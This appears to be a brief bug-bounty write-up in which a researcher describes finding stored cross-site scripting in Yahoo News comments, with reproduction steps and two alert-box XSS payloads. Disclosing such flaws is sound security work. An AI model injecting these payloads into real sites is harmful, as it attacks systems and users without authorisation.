Stored XSS in Yahoo!
Sharing is Caring :)
When we share, we open doors to a new beginning…../
Well, This is Shahzada Al Shahriar Khan. And I am from Bangladesh.
Now I am going to share how I found Stored Cross-Site Scripting (XSS) in Yahoo.
Steps to Reproduce:
Go to https://www.yahoo.com/news
Comment this payload: "><img src=x onerror=confirm(1);>
Now what? Voila! We get the famous confirm(1) to popup! :D
I am trying another payload that I can write something in popup box, and found this payload: <img src=x onerror=prompt(1337)>
That moment I feel like a boss!
Here is the video PoC:
